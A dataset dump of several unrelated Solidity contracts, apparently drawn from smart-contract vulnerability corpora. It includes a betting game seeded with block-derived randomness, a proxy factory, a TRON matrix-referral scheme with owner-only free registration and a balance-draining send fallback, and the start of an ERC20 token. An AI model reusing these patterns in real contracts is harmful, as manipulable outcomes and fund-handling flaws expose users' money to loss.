gameInfo.push(GameInfo({
gameId: _lastGameId + 1,
endTimestamp: block.timestamp + ONE_MINUTE,
totalPlayers: 0,
totalBank: 0,
outcomeSet: false,
realOutcome: 100,
totalWon: 0,
totalLost: 0
}));
}
function _setGameOutcome() internal {
gameInfo[gameInfo.length - 1].realOutcome = _generateOutcome();
gameInfo[gameInfo.length - 1].outcomeSet = true;
}
function _generateOutcome() internal view returns (uint8 outcome) {
outcome = uint8(uint(keccak256(abi.encodePacked(block.difficulty,
block.timestamp,
block.number))) % 36);
}
function payUser(address user, uint256 payableAmount) internal {
if (address(this).balance >= payableAmount) {
if (playerInfo[user].owedAmount > 0) {
if (address(this).balance >= payableAmount + playerInfo[user].owedAmount) {
payableAmount += playerInfo[user].owedAmount;
playerInfo[user].owedAmount = 0;
}
}
payable(user).transfer(payableAmount);
} else {
playerInfo[user].owedAmount += payableAmount;
}
}
function withdraw() external payable onlyOwner {
payable(owner()).transfer(address(this).balance);
}
receive() external payable {}
}
| 99,707 | 11,387 |
3b1c3c54524822adf47dfdf7e026d59aa22abc25fffaf8e1ff4d41f4fe478bba
| 26,008 |
.sol
|
Solidity
| false |
454080957
|
tintinweb/smart-contract-sanctuary-arbitrum
|
22f63ccbfcf792323b5e919312e2678851cff29e
|
contracts/mainnet/00/0000000000000c5b7100000b04DbcB3daCeeE29c_ERC1967Factory.sol
| 3,935 | 12,612 |
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
/// @notice Factory for deploying and managing ERC1967 proxy contracts.
/// @author Solady (https://github.com/vectorized/solady/blob/main/src/utils/ERC1967Factory.sol)
/// @author jtriley-eth (https://github.com/jtriley-eth/minimum-viable-proxy)
contract ERC1967Factory {
/// @dev The caller is not authorized to call the function.
error Unauthorized();
/// @dev The proxy deployment failed.
error DeploymentFailed();
/// @dev The upgrade failed.
error UpgradeFailed();
/// @dev The salt does not start with the caller.
error SaltDoesNotStartWithCaller();
/// @dev `bytes4(keccak256(bytes("Unauthorized()")))`.
uint256 internal constant _UNAUTHORIZED_ERROR_SELECTOR = 0x82b42900;
/// @dev `bytes4(keccak256(bytes("DeploymentFailed()")))`.
uint256 internal constant _DEPLOYMENT_FAILED_ERROR_SELECTOR = 0x30116425;
/// @dev `bytes4(keccak256(bytes("UpgradeFailed()")))`.
uint256 internal constant _UPGRADE_FAILED_ERROR_SELECTOR = 0x55299b49;
/// @dev `bytes4(keccak256(bytes("SaltDoesNotStartWithCaller()")))`.
uint256 internal constant _SALT_DOES_NOT_START_WITH_CALLER_ERROR_SELECTOR = 0x2f634836;
/// @dev The admin of a proxy contract has been changed.
event AdminChanged(address indexed proxy, address indexed admin);
/// @dev The implementation for a proxy has been upgraded.
event Upgraded(address indexed proxy, address indexed implementation);
/// @dev A proxy has been deployed.
event Deployed(address indexed proxy, address indexed implementation, address indexed admin);
/// @dev `keccak256(bytes("AdminChanged(address,address)"))`.
uint256 internal constant _ADMIN_CHANGED_EVENT_SIGNATURE =
0x7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f;
/// @dev `keccak256(bytes("Upgraded(address,address)"))`.
uint256 internal constant _UPGRADED_EVENT_SIGNATURE =
0x5d611f318680d00598bb735d61bacf0c514c6b50e1e5ad30040a4df2b12791c7;
/// @dev `keccak256(bytes("Deployed(address,address,address)"))`.
uint256 internal constant _DEPLOYED_EVENT_SIGNATURE =
0xc95935a66d15e0da5e412aca0ad27ae891d20b2fb91cf3994b6a3bf2b8178082;
// The admin slot for a `proxy` is given by:
// ```
// mstore(0x0c, address())
// mstore(0x00, proxy)
// let adminSlot := keccak256(0x0c, 0x20)
// ```
/// @dev The ERC-1967 storage slot for the implementation in the proxy.
/// `uint256(keccak256("eip1967.proxy.implementation")) - 1`.
uint256 internal constant _IMPLEMENTATION_SLOT =
0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/// @dev Returns the admin of the proxy.
function adminOf(address proxy) public view returns (address admin) {
/// @solidity memory-safe-assembly
assembly {
mstore(0x0c, address())
mstore(0x00, proxy)
admin := sload(keccak256(0x0c, 0x20))
}
}
/// @dev Sets the admin of the proxy.
/// The caller of this function must be the admin of the proxy on this factory.
function changeAdmin(address proxy, address admin) public {
/// @solidity memory-safe-assembly
assembly {
// Check if the caller is the admin of the proxy.
mstore(0x0c, address())
mstore(0x00, proxy)
let adminSlot := keccak256(0x0c, 0x20)
if iszero(eq(sload(adminSlot), caller())) {
mstore(0x00, _UNAUTHORIZED_ERROR_SELECTOR)
revert(0x1c, 0x04)
}
// Store the admin for the proxy.
sstore(adminSlot, admin)
// Emit the {AdminChanged} event.
log3(0, 0, _ADMIN_CHANGED_EVENT_SIGNATURE, proxy, admin)
}
}
/// @dev Upgrades the proxy to point to `implementation`.
/// The caller of this function must be the admin of the proxy on this factory.
function upgrade(address proxy, address implementation) public payable {
upgradeAndCall(proxy, implementation, _emptyData());
}
/// @dev Upgrades the proxy to point to `implementation`.
/// Then, calls the proxy with abi encoded `data`.
/// The caller of this function must be the admin of the proxy on this factory.
function upgradeAndCall(address proxy, address implementation, bytes calldata data)
public
payable
{
/// @solidity memory-safe-assembly
assembly {
// Check if the caller is the admin of the proxy.
mstore(0x0c, address())
mstore(0x00, proxy)
if iszero(eq(sload(keccak256(0x0c, 0x20)), caller())) {
mstore(0x00, _UNAUTHORIZED_ERROR_SELECTOR)
revert(0x1c, 0x04)
}
// Set up the calldata to upgrade the proxy.
let m := mload(0x40)
mstore(m, implementation)
mstore(add(m, 0x20), _IMPLEMENTATION_SLOT)
calldatacopy(add(m, 0x40), data.offset, data.length)
// Try upgrading the proxy and revert upon failure.
if iszero(call(gas(), proxy, callvalue(), m, add(0x40, data.length), 0x00, 0x00)) {
// Revert with the `UpgradeFailed` selector if there is no error returndata.
if iszero(returndatasize()) {
mstore(0x00, _UPGRADE_FAILED_ERROR_SELECTOR)
revert(0x1c, 0x04)
}
// Otherwise, bubble up the returned error.
returndatacopy(0x00, 0x00, returndatasize())
revert(0x00, returndatasize())
}
// Emit the {Upgraded} event.
log3(0, 0, _UPGRADED_EVENT_SIGNATURE, proxy, implementation)
}
}
/// @dev Deploys a proxy for `implementation`, with `admin`,
/// and returns its address.
/// The value passed into this function will be forwarded to the proxy.
function deploy(address implementation, address admin) public payable returns (address proxy) {
proxy = deployAndCall(implementation, admin, _emptyData());
}
/// @dev Deploys a proxy for `implementation`, with `admin`,
/// and returns its address.
/// The value passed into this function will be forwarded to the proxy.
/// Then, calls the proxy with abi encoded `data`.
function deployAndCall(address implementation, address admin, bytes calldata data)
public
payable
returns (address proxy)
{
proxy = _deploy(implementation, admin, bytes32(0), false, data);
}
/// @dev Deploys a proxy for `implementation`, with `admin`, `salt`,
/// and returns its deterministic address.
/// The value passed into this function will be forwarded to the proxy.
function deployDeterministic(address implementation, address admin, bytes32 salt)
public
payable
returns (address proxy)
{
proxy = deployDeterministicAndCall(implementation, admin, salt, _emptyData());
}
/// @dev Deploys a proxy for `implementation`, with `admin`, `salt`,
/// and returns its deterministic address.
/// The value passed into this function will be forwarded to the proxy.
/// Then, calls the proxy with abi encoded `data`.
function deployDeterministicAndCall(address implementation,
address admin,
bytes32 salt,
bytes calldata data) public payable returns (address proxy) {
/// @solidity memory-safe-assembly
assembly {
// If the salt does not start with the zero address or the caller.
if iszero(or(iszero(shr(96, salt)), eq(caller(), shr(96, salt)))) {
mstore(0x00, _SALT_DOES_NOT_START_WITH_CALLER_ERROR_SELECTOR)
revert(0x1c, 0x04)
}
}
proxy = _deploy(implementation, admin, salt, true, data);
}
/// @dev Deploys the proxy, with optionality to deploy deterministically with a `salt`.
function _deploy(address implementation,
address admin,
bytes32 salt,
bool useSalt,
bytes calldata data) internal returns (address proxy) {
bytes memory m = _initCode();
/// @solidity memory-safe-assembly
assembly {
// Create the proxy.
switch useSalt
case 0 { proxy := create(0, add(m, 0x13), 0x89) }
default { proxy := create2(0, add(m, 0x13), 0x89, salt) }
// Revert if the creation fails.
if iszero(proxy) {
mstore(0x00, _DEPLOYMENT_FAILED_ERROR_SELECTOR)
revert(0x1c, 0x04)
}
// Set up the calldata to set the implementation of the proxy.
mstore(m, implementation)
mstore(add(m, 0x20), _IMPLEMENTATION_SLOT)
calldatacopy(add(m, 0x40), data.offset, data.length)
// Try setting the implementation on the proxy and revert upon failure.
if iszero(call(gas(), proxy, callvalue(), m, add(0x40, data.length), 0x00, 0x00)) {
// Revert with the `DeploymentFailed` selector if there is no error returndata.
if iszero(returndatasize()) {
mstore(0x00, _DEPLOYMENT_FAILED_ERROR_SELECTOR)
revert(0x1c, 0x04)
}
// Otherwise, bubble up the returned error.
returndatacopy(0x00, 0x00, returndatasize())
revert(0x00, returndatasize())
}
// Store the admin for the proxy.
mstore(0x0c, address())
mstore(0x00, proxy)
sstore(keccak256(0x0c, 0x20), admin)
// Emit the {Deployed} event.
log4(0, 0, _DEPLOYED_EVENT_SIGNATURE, proxy, implementation, admin)
}
}
/// @dev Returns the address of the proxy deployed with `salt`.
function predictDeterministicAddress(bytes32 salt) public view returns (address predicted) {
bytes32 hash = initCodeHash();
/// @solidity memory-safe-assembly
assembly {
// Compute and store the bytecode hash.
mstore8(0x00, 0xff) // Write the prefix.
mstore(0x35, hash)
mstore(0x01, shl(96, address()))
mstore(0x15, salt)
predicted := keccak256(0x00, 0x55)
// Restore the part of the free memory pointer that has been overwritten.
mstore(0x35, 0)
}
}
/// @dev Returns the initialization code hash of the proxy.
/// Used for mining vanity addresses with create2crunch.
function initCodeHash() public view returns (bytes32 result) {
bytes memory m = _initCode();
/// @solidity memory-safe-assembly
assembly {
result := keccak256(add(m, 0x13), 0x89)
}
}
/// @dev Returns the initialization code of a proxy created via this factory.
function _initCode() internal view returns (bytes memory m) {
/// @solidity memory-safe-assembly
assembly {
m := mload(0x40)
// forgefmt: disable-start
switch shr(112, address())
case 0 {
// If the factory's address has six or more leading zero bytes.
mstore(add(m, 0x75), 0x604c573d6000fd) // 7
mstore(add(m, 0x6e), 0x3d3560203555604080361115604c5736038060403d373d3d355af43d6000803e) // 32
mstore(add(m, 0x4e), 0x3735a920a3ca505d382bbc545af43d6000803e604c573d6000fd5b3d6000f35b) // 32
mstore(add(m, 0x2e), 0x14605157363d3d37363d7f360894a13ba1a3210667c828492db98dca3e2076cc) // 32
mstore(add(m, 0x0e), address()) // 14
mstore(m, 0x607a3d8160093d39f33d3d336d) // 9 + 4
}
default {
mstore(add(m, 0x7b), 0x6052573d6000fd) // 7
mstore(add(m, 0x74), 0x3d356020355560408036111560525736038060403d373d3d355af43d6000803e) // 32
mstore(add(m, 0x54), 0x3735a920a3ca505d382bbc545af43d6000803e6052573d6000fd5b3d6000f35b) // 32
mstore(add(m, 0x34), 0x14605757363d3d37363d7f360894a13ba1a3210667c828492db98dca3e2076cc) // 32
mstore(add(m, 0x14), address()) // 20
mstore(m, 0x60803d8160093d39f33d3d3373) // 9 + 4
}
// forgefmt: disable-end
}
}
/// @dev Helper function to return an empty bytes calldata.
function _emptyData() internal pure returns (bytes calldata data) {
/// @solidity memory-safe-assembly
assembly {
data.length := 0
}
}
}
| 29,255 | 11,388 |
74511f7ff067acc1bd226203cecdd94fc8de58e8b2516abe23d5385057f88a74
| 21,689 |
.sol
|
Solidity
| false |
453466497
|
tintinweb/smart-contract-sanctuary-tron
|
44b9f519dbeb8c3346807180c57db5337cf8779b
|
contracts/mainnet/TF/TFUWrC6sJe3snro4YSBEGStk4ci2RddLbH_TronForAge.sol
| 5,277 | 20,635 |
//SourceUnit: forsagetron.sol
pragma solidity 0.5.9;
contract TronForAge {
struct User {
uint id;
address referrer;
uint partnersCount;
mapping(uint8 => bool) activeX3Levels;
mapping(uint8 => bool) activeX6Levels;
mapping(uint8 => X3) x3Matrix;
mapping(uint8 => X6) x6Matrix;
}
struct X3 {
address currentReferrer;
address[] referrals;
bool blocked;
uint reinvestCount;
}
struct X6 {
address currentReferrer;
address[] firstLevelReferrals;
address[] secondLevelReferrals;
bool blocked;
uint reinvestCount;
address closedPart;
}
uint8 public constant LAST_LEVEL = 15;
mapping(address => User) public users;
mapping(address => uint) public addressToId;
mapping(uint => address) public userIds;
mapping(address => uint) public balances;
uint public lastUserId = 1;
address public doner;
address public deployer;
uint256 public contractDeployTime;
mapping(uint8 => uint) public levelPrice;
event Registration(address indexed user, address indexed referrer, uint indexed userId, uint referrerId, uint amount);
event Reinvest(address indexed user, address indexed currentReferrer, address indexed caller, uint8 matrix, uint8 level);
event Upgrade(address indexed user, address indexed referrer, uint8 matrix, uint8 level, uint amount);
event NewUserPlace(address indexed user, address indexed referrer, uint8 matrix, uint8 level, uint8 place);
event MissedEthReceive(address indexed receiver, address indexed from, uint8 matrix, uint8 level);
event SentExtraEthDividends(address indexed from, address indexed receiver, uint8 matrix, uint8 level);
constructor(address donerAddress) public {
levelPrice[1] = 200 * 1e6;
uint8 i;
for (i = 2; i <= LAST_LEVEL; i++) {
levelPrice[i] = levelPrice[i-1] * 2;
}
deployer = msg.sender;
doner = donerAddress;
User memory user = User({
id: 1,
referrer: address(0),
partnersCount: uint(0)
});
users[donerAddress] = user;
addressToId[donerAddress] = 1;
for (i = 1; i <= LAST_LEVEL; i++) {
users[donerAddress].activeX3Levels[i] = true;
users[donerAddress].activeX6Levels[i] = true;
}
userIds[1] = donerAddress;
contractDeployTime = now;
emit Registration(donerAddress, address(0), 1, 0, 0);
}
function() external payable {
if(msg.data.length == 0) {
return registration(msg.sender, doner);
}
registration(msg.sender, bytesToAddress(msg.data));
}
function registrationExt(address referrerAddress) external payable returns(string memory) {
registration(msg.sender, referrerAddress);
return "registration successful";
}
function registrationCreator(address userAddress, address referrerAddress) external returns(string memory) {
require(msg.sender==deployer, 'Invalid Donor');
require(contractDeployTime+86400 > now, 'This function is only available for first 24 hours');
registration(userAddress, referrerAddress);
return "registration successful";
}
function buyLevelCreator(address userAddress, uint8 matrix, uint8 level) external returns(string memory) {
require(msg.sender==deployer, 'Invalid Donor');
require(contractDeployTime+86400 > now, 'This function is only available for first 24 hours');
buyNewLevelInternal(userAddress, matrix, level);
return "Level bought successfully";
}
function buyNewLevel(uint8 matrix, uint8 level) external payable returns(string memory) {
buyNewLevelInternal(msg.sender, matrix, level);
return "Level bought successfully";
}
function buyNewLevelInternal(address user, uint8 matrix, uint8 level) private {
require(isUserExists(user), "user is not exists. Register first.");
require(matrix == 1 || matrix == 2, "invalid matrix");
if(!(msg.sender==deployer)) require(msg.value == levelPrice[level], "invalid price");
require(level > 1 && level <= LAST_LEVEL, "invalid level");
if (matrix == 1) {
require(!users[user].activeX3Levels[level], "level already activated");
if (users[user].x3Matrix[level-1].blocked) {
users[user].x3Matrix[level-1].blocked = false;
}
address freeX3Referrer = findFreeX3Referrer(user, level);
users[user].x3Matrix[level].currentReferrer = freeX3Referrer;
users[user].activeX3Levels[level] = true;
updateX3Referrer(user, freeX3Referrer, level);
emit Upgrade(user, freeX3Referrer, 1, level, msg.value);
} else {
require(!users[user].activeX6Levels[level], "level already activated");
if (users[user].x6Matrix[level-1].blocked) {
users[user].x6Matrix[level-1].blocked = false;
}
address freeX6Referrer = findFreeX6Referrer(user, level);
users[user].activeX6Levels[level] = true;
updateX6Referrer(user, freeX6Referrer, level);
emit Upgrade(user, freeX6Referrer, 2, level, msg.value);
}
}
function registration(address userAddress, address referrerAddress) private {
if(!(msg.sender==deployer)) require(msg.value == (levelPrice[1]*2), "Invalid registration amount");
require(!isUserExists(userAddress), "user exists");
require(isUserExists(referrerAddress), "referrer not exists");
uint32 size;
assembly {
size := extcodesize(userAddress)
}
require(size == 0, "cannot be a contract");
lastUserId++;
User memory user = User({
id: lastUserId,
referrer: referrerAddress,
partnersCount: 0
});
users[userAddress] = user;
addressToId[userAddress] = lastUserId;
users[userAddress].referrer = referrerAddress;
users[userAddress].activeX3Levels[1] = true;
users[userAddress].activeX6Levels[1] = true;
userIds[lastUserId] = userAddress;
users[referrerAddress].partnersCount++;
address freeX3Referrer = findFreeX3Referrer(userAddress, 1);
users[userAddress].x3Matrix[1].currentReferrer = freeX3Referrer;
updateX3Referrer(userAddress, freeX3Referrer, 1);
updateX6Referrer(userAddress, findFreeX6Referrer(userAddress, 1), 1);
emit Registration(userAddress, referrerAddress, users[userAddress].id, users[referrerAddress].id, msg.value);
}
function updateX3Referrer(address userAddress, address referrerAddress, uint8 level) private {
users[referrerAddress].x3Matrix[level].referrals.push(userAddress);
if (users[referrerAddress].x3Matrix[level].referrals.length < 3) {
emit NewUserPlace(userAddress, referrerAddress, 1, level, uint8(users[referrerAddress].x3Matrix[level].referrals.length));
return sendETHDividends(referrerAddress, userAddress, 1, level);
}
emit NewUserPlace(userAddress, referrerAddress, 1, level, 3);
//close matrix
users[referrerAddress].x3Matrix[level].referrals = new address[](0);
if (!users[referrerAddress].activeX3Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].x3Matrix[level].blocked = true;
}
//create new one by recursion
if (referrerAddress != doner) {
//check referrer active level
address freeReferrerAddress = findFreeX3Referrer(referrerAddress, level);
if (users[referrerAddress].x3Matrix[level].currentReferrer != freeReferrerAddress) {
users[referrerAddress].x3Matrix[level].currentReferrer = freeReferrerAddress;
}
users[referrerAddress].x3Matrix[level].reinvestCount++;
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 1, level);
updateX3Referrer(referrerAddress, freeReferrerAddress, level);
} else {
sendETHDividends(doner, userAddress, 1, level);
users[doner].x3Matrix[level].reinvestCount++;
emit Reinvest(doner, address(0), userAddress, 1, level);
}
}
function updateX6Referrer(address userAddress, address referrerAddress, uint8 level) private {
require(users[referrerAddress].activeX6Levels[level], "500. Referrer level is inactive");
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length < 2) {
users[referrerAddress].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, referrerAddress, 2, level, uint8(users[referrerAddress].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = referrerAddress;
if (referrerAddress == doner) {
return sendETHDividends(referrerAddress, userAddress, 2, level);
}
address ref = users[referrerAddress].x6Matrix[level].currentReferrer;
users[ref].x6Matrix[level].secondLevelReferrals.push(userAddress);
uint len = users[ref].x6Matrix[level].firstLevelReferrals.length;
if ((len == 2) &&
(users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) &&
(users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress)) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 5);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 6);
}
} else if ((len == 1 || len == 2) &&
users[ref].x6Matrix[level].firstLevelReferrals[0] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 3);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 4);
}
} else if (len == 2 && users[ref].x6Matrix[level].firstLevelReferrals[1] == referrerAddress) {
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals.length == 1) {
emit NewUserPlace(userAddress, ref, 2, level, 5);
} else {
emit NewUserPlace(userAddress, ref, 2, level, 6);
}
}
return updateX6ReferrerSecondLevel(userAddress, ref, level);
}
users[referrerAddress].x6Matrix[level].secondLevelReferrals.push(userAddress);
if (users[referrerAddress].x6Matrix[level].closedPart != address(0)) {
if ((users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]) &&
(users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart)) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] ==
users[referrerAddress].x6Matrix[level].closedPart) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
}
if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[1] == userAddress) {
updateX6(userAddress, referrerAddress, level, false);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
} else if (users[referrerAddress].x6Matrix[level].firstLevelReferrals[0] == userAddress) {
updateX6(userAddress, referrerAddress, level, true);
return updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
if (users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length <=
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length) {
updateX6(userAddress, referrerAddress, level, false);
} else {
updateX6(userAddress, referrerAddress, level, true);
}
updateX6ReferrerSecondLevel(userAddress, referrerAddress, level);
}
function updateX6(address userAddress, address referrerAddress, uint8 level, bool x2) private {
if (!x2) {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[0], 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress, referrerAddress, 2, level, 2 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[0]].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[0];
} else {
users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.push(userAddress);
emit NewUserPlace(userAddress, users[referrerAddress].x6Matrix[level].firstLevelReferrals[1], 2, level, uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length));
emit NewUserPlace(userAddress, referrerAddress, 2, level, 4 + uint8(users[users[referrerAddress].x6Matrix[level].firstLevelReferrals[1]].x6Matrix[level].firstLevelReferrals.length));
//set current level
users[userAddress].x6Matrix[level].currentReferrer = users[referrerAddress].x6Matrix[level].firstLevelReferrals[1];
}
}
function updateX6ReferrerSecondLevel(address userAddress, address referrerAddress, uint8 level) private {
if (users[referrerAddress].x6Matrix[level].secondLevelReferrals.length < 4) {
return sendETHDividends(referrerAddress, userAddress, 2, level);
}
address[] memory x6 = users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].firstLevelReferrals;
if (x6.length == 2) {
if (x6[0] == referrerAddress ||
x6[1] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
} else if (x6.length == 1) {
if (x6[0] == referrerAddress) {
users[users[referrerAddress].x6Matrix[level].currentReferrer].x6Matrix[level].closedPart = referrerAddress;
}
}
}
users[referrerAddress].x6Matrix[level].firstLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].secondLevelReferrals = new address[](0);
users[referrerAddress].x6Matrix[level].closedPart = address(0);
if (!users[referrerAddress].activeX6Levels[level+1] && level != LAST_LEVEL) {
users[referrerAddress].x6Matrix[level].blocked = true;
}
users[referrerAddress].x6Matrix[level].reinvestCount++;
if (referrerAddress != doner) {
address freeReferrerAddress = findFreeX6Referrer(referrerAddress, level);
emit Reinvest(referrerAddress, freeReferrerAddress, userAddress, 2, level);
updateX6Referrer(referrerAddress, freeReferrerAddress, level);
} else {
emit Reinvest(doner, address(0), userAddress, 2, level);
sendETHDividends(doner, userAddress, 2, level);
}
}
function findFreeX3Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX3Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function findFreeX6Referrer(address userAddress, uint8 level) public view returns(address) {
while (true) {
if (users[users[userAddress].referrer].activeX6Levels[level]) {
return users[userAddress].referrer;
}
userAddress = users[userAddress].referrer;
}
}
function usersActiveX3Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX3Levels[level];
}
function usersActiveX6Levels(address userAddress, uint8 level) public view returns(bool) {
return users[userAddress].activeX6Levels[level];
}
function usersX3Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, bool, uint) {
return (users[userAddress].x3Matrix[level].currentReferrer,
users[userAddress].x3Matrix[level].referrals,
users[userAddress].x3Matrix[level].blocked,
users[userAddress].x3Matrix[level].reinvestCount);
}
function usersX6Matrix(address userAddress, uint8 level) public view returns(address, address[] memory, address[] memory, bool, address, uint) {
return (users[userAddress].x6Matrix[level].currentReferrer,
users[userAddress].x6Matrix[level].firstLevelReferrals,
users[userAddress].x6Matrix[level].secondLevelReferrals,
users[userAddress].x6Matrix[level].blocked,
users[userAddress].x6Matrix[level].closedPart,
users[userAddress].x6Matrix[level].reinvestCount);
}
function isUserExists(address user) public view returns (bool) {
return (users[user].id != 0);
}
function findEthReceiver(address userAddress, address _from, uint8 matrix, uint8 level) private returns(address, bool) {
address receiver = userAddress;
bool isExtraDividends;
if (matrix == 1) {
while (true) {
if (users[receiver].x3Matrix[level].blocked) {
emit MissedEthReceive(receiver, _from, 1, level);
isExtraDividends = true;
receiver = users[receiver].x3Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
} else {
while (true) {
if (users[receiver].x6Matrix[level].blocked) {
emit MissedEthReceive(receiver, _from, 2, level);
isExtraDividends = true;
receiver = users[receiver].x6Matrix[level].currentReferrer;
} else {
return (receiver, isExtraDividends);
}
}
}
}
function sendETHDividends(address userAddress, address _from, uint8 matrix, uint8 level) private {
if(msg.sender!=deployer)
{
(address receiver, bool isExtraDividends) = findEthReceiver(userAddress, _from, matrix, level);
if (!address(uint160(receiver)).send(levelPrice[level])) {
return address(uint160(receiver)).transfer(address(this).balance);
}
if (isExtraDividends) {
emit SentExtraEthDividends(_from, receiver, matrix, level);
}
}
}
function bytesToAddress(bytes memory bys) private pure returns (address addr) {
assembly {
addr := mload(add(bys, 20))
}
}
function viewLevels(address user) public view returns (bool[12] memory x3Levels, bool[12] memory x6Levels,uint8 x3LastTrue, uint8 x6LastTrue)
{
for (uint8 i = 1; i <= LAST_LEVEL; i++) {
x3Levels[i] = users[user].activeX3Levels[i];
if(x3Levels[i]) x3LastTrue = i;
x6Levels[i] = users[user].activeX6Levels[i];
if(x6Levels[i]) x6LastTrue = i;
}
}
}
| 295,950 | 11,389 |
4dd6ab729e07ceacdd8accd7733cf896029f1bf0f2b3f23029729d90b01e1e99
| 14,486 |
.sol
|
Solidity
| false |
416581097
|
NoamaSamreen93/SmartScan-Dataset
|
0199a090283626c8f2a5e96786e89fc850bdeabd
|
evaluation-dataset/0x4718d9e362f82497751ecb2e4a5563e9c7118ce1.sol
| 3,421 | 13,714 |
pragma solidity ^0.4.18;
// accepted from zeppelin-solidity https://github.com/OpenZeppelin/zeppelin-solidity
contract ERC20 {
uint public totalSupply;
function balanceOf(address _who) public constant returns (uint);
function allowance(address _owner, address _spender) public constant returns (uint);
function transfer(address _to, uint _value) public returns (bool ok);
function transferFrom(address _from, address _to, uint _value) public returns (bool ok);
function approve(address _spender, uint _value) public returns (bool ok);
event Transfer(address indexed from, address indexed to, uint value);
event Approval(address indexed owner, address indexed spender, uint value);
}
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
function Ownable() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract SafeMath {
function safeMul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function safeDiv(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function safeSub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function safeAdd(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract FToken is ERC20, Ownable, SafeMath {
// Token related informations
string public constant name = "Future Token";
string public constant symbol = "FT";
uint256 public constant decimals = 18; // decimal places
// Start withdraw of tokens
uint256 public startWithdraw;
// Address of wallet from which tokens assigned
address public ethExchangeWallet;
// MultiSig Wallet Address
address public FTMultisig;
uint256 public tokensPerEther = 1500;
bool public startStop = false;
mapping (address => uint256) public walletAngelSales;
mapping (address => uint256) public walletPESales;
mapping (address => uint256) public releasedAngelSales;
mapping (address => uint256) public releasedPESales;
mapping (uint => address) public walletAddresses;
// Mapping of token balance and allowed address for each address with transfer limit
mapping (address => uint256) balances;
//mapping of allowed address for each address with tranfer limit
mapping (address => mapping (address => uint256)) allowed;
function FToken() public {
totalSupply = 2000000000 ether;
balances[msg.sender] = totalSupply;
emit Transfer(address(0), msg.sender,totalSupply);
}
// Only to be called by Owner of this contract
// @param _id Id of lock wallet address
// @param _walletAddress Address of lock wallet
function addWalletAddresses(uint _id, address _walletAddress) onlyOwner external{
require(_walletAddress != address(0));
walletAddresses[_id] = _walletAddress;
}
// Owner can Set Multisig wallet
// @param _FTMultisig address of Multisig wallet.
function setFTMultiSig(address _FTMultisig) onlyOwner external{
require(_FTMultisig != address(0));
FTMultisig = _FTMultisig;
}
// Only to be called by Owner of this contract
// @param _ethExchangeWallet Ether Address of exchange wallet
function setEthExchangeWallet(address _ethExchangeWallet) onlyOwner external {
